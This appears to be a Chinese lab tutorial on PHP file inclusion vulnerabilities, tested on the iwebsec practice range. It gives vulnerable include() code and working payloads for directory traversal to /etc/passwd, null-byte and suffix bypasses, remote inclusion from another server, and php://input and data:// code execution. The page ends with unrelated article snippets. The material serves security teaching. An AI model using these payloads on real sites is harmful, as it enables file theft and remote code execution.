Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

news/2024/10/31 5:25:45/

Web安全:文件包含漏洞测试.

文件包含的漏洞是  程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , require_once() 等等 ),而且包含函数中的变量,没有做一些过滤或者限制,使得用户可以 控制传到服务器中的数据,导致文件包含漏洞。


目录:

Web安全:文件包含漏洞测试.

文件包含漏洞的执行规则:

 文件包含漏洞测试:

(1)本地文件包含.

(2)本地文件包含绕过.

(3)远程文件包含.

(4)远程文件包含绕过.

(5)php // filter 伪协议.

(6)php // input 伪协议.

(7)file:// 伪协议利用.

(8)data:// 伪协议.


文件包含漏洞的执行规则:

文件包含漏洞可以怎么理解,就是一个 A 文件包含着另一个 B 文件,将包含着 B 文件里面的内容,
以这个网站的脚本代码 去执行(如果你的网站是php就是php去执行文件里面的内容,如果你的网站是
python,那就是python去执行文件里面的内容)
测试使用的靶场是:iwebsec 靶场搭建过程:https://tianyuk.blog.csdn.net/article/details/130341391

文件包含漏洞测试:

(1)本地文件包含.

原理:本地文件包含是通过浏览器包含Web服务器上的文件,这种漏洞是因为浏览器包含文件时没有
进行严格的过滤,导致允许遍历目录的字符注入浏览器中,然后进行执行.
代码审计:<?phpif(isset($_GET['filename'])){            // 可以查看没有进行任何过滤$filename  = $_GET['filename'];include($filename);}else{exit();}
?>
测试代码:(读取服务器中的 test.tst 文件,然后成功执行了文件中的代码.)?filename=test.txt

测试代码:(如果不知道,服务器中的文件在哪,则使用../../../../../)(可以多加几个../)
然后再重新从一个文件,一步一步进行查看.?filename=../../../../../etc/passwd


(2)本地文件包含绕过.

代码审计:<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename . ".html");        //可以看见只能使用指定后缀.(.html)}else{exit();}
?>
绕过限制指定后缀的方法:使用(%00)进行截断.
测试代码:?filename=test.txt%00 

测试代码:?filename=../../../../../etc/passwd%00


(3)远程文件包含.

远程文件包含就是通过URL的形式包含的其他服务器上面的文件,从而使目标主机执行恶意代码攻击.
代码审计:<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename);                //可以看见没有任何过滤,可以直接远程包含攻击}else{exit();}
?>
测试代码:(添加另一个服务器的文件链接)?filename=http://192.168.0.105:801/bgxg.txt


(4)远程文件包含绕过.

代码审计:<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename . ".html");         //可以看见只能使用指定后缀.(.html)}else{exit();}
?>
绕过限制指定后缀的方法:(1) # 绕过 (%23)(2) 空格 绕过 (%20)
测试代码:(添加另一个服务器的文件链接)(加 %23 【#】进行绕过限制)?filename=http://192.168.0.105:801/bgxg.txt%23

测试代码:(添加另一个服务器的文件链接)(加 空格 【%20】进行绕过限制)?filename=http://192.168.0.105:801/bgxg.txt%20


(5)php // filter 伪协议.

php://filter 是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,常用于读取文件.
代码审计:<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename);                    //可以看见没有任何过滤}else{exit();}
?>
测试代码:?filename=php://filter/convert.base64-encode/resource=文件路径


(6)php // input 伪协议.

php//input任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据,可以用于处理上传的文件和表单数据.
代码审计:代码 1: (如果是 GET 方式,php://input 就可以用了)<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename);                    //可以看见没有任何过滤}else{exit();}
?>代码 2:(如果是 POST 方式,php://input 就不能用了)<?phpecho file_get_contents("php://input");
?>
测试代码:?filename=php://input <?php phpinfo(); ?>        //显示服务器信息.


(7)file:// 伪协议利用.

代码审计:<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename);}else{exit();}
?>
测试代码:(?filename=file:///文件路径)?filename=file:///etc/passwd


(8)data:// 伪协议.

主要用于数据流的读取,如果传入的数据是PHP代码,就会执行任意代码.
?filename=data://text/plain;base64,(base64编码后数据)<?php phpinfo();?>         base64编码后       PD9waHAgcGhwaW5mbygpOz8+base64编码 在线工具:https://c.runoob.com/front-end/693/然后再把 +  url编码 变为 %2b

测试代码:?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

     

    

   


http://www.ppmy.cn/news/128913.html

相关文章

如何通过命令行为Linux安装驱动程序

一般来说&#xff0c;在安装操作系统之后&#xff0c;系统会推荐一定的驱动更新&#xff0c;如果有些不合适&#xff0c;那么你可以选择手动更新。例如有的wireless无线驱动工作不正常&#xff0c;sudo ifconfig也不存在wlan0&#xff0c;那么你就必须采取手动安装方法。 首先&…

分类分类分类

[{"Name":"北京房产","SubMenu":[{"Name":"北京房产","SubMenu":null,"CategoriesMenu":null},{"Name":"租房","SubMenu":null,"CategoriesMenu":null},{&quo…

嵌入式系统概述

第1章 嵌入式系统概述 本章介绍嵌入式系统的一些基本知识&#xff0c;包括嵌入式系统的概念、发展、特点、组成、分类、嵌入式微处理器系列和嵌入式系统中信息表示与运算基础等。通过本章的学习&#xff0c;读者将建立起对嵌入式系统的初步的宏观认识&#xff0c;为今后的深入学…

【名词解释】电信技术名词解释大全

电信技术名词解释&#xff1a;什么是SDH http://www.sina.com.cn 2004 年07 月15 日 18:40 新浪科技 信息高速公路近来已成为人们的热门话题。到21世纪&#xff0c;人们借助与信息高速公路&#xff0c;可以在家中完成各种日常活动。而构成信息高速公路的最基本单元——公路——…

凉宫春日的阴谋7

序曲 凉宫春日很安分。 虽然看似忧郁&#xff0c;有时也唉声叹气&#xff0c;可事实上&#xff0c;她看起来并不寂寞。不过&#xff0c;最近总让人感觉到出奇的安静。那股莫名的不知由来的安分连我这号人都感到很害怕。 当然&#xff0c;并不只是外表安静&#xff0c;更不是心境…

10个简单的放松运动

第一招正确姿势&#xff1a;减缓用“脑”疲劳 不论是笔记本还是桌面电脑&#xff0c;在大多数人的学习、办公、娱乐中都扮演着不可或缺的重要角色。笔记本或桌面电脑成为了我们每天都要长时间亲密接触的“伙伴”&#xff0c;从清晨到夜晚&#xff0c;我们对键盘和鼠标的操作几乎…

生命的答案水知道(只有部分图片,要全的图片自己还是的网上下个pdf看吧)

前言 从我开始拍摄水结晶&#xff0c;以全新的方法与水相识、相知至今&#xff0c;转眼便已&#xff18;年。   在此之前&#xff0c;我一直用波动测定法进行与水相关的研究。当我知道水还有结晶这种独特的"容颜"之后&#xff0c;才发现&#xff0c;水实际上还有…

基于蓝牙的数据传输系统的设计

蓝牙&#xff08;Bluetooth&#xff09;是由东芝、爱立信、IBM、Intel和诺基亚于1998年5月共同提出的近距离无线数据通讯技术标准。它能够在10米 的半径范围内实现单点对多点的无线数据和声音传输&#xff0c;其数据传输带宽可达1Mbps。通讯介质为频率在2.402GHz到2.480GHz之间…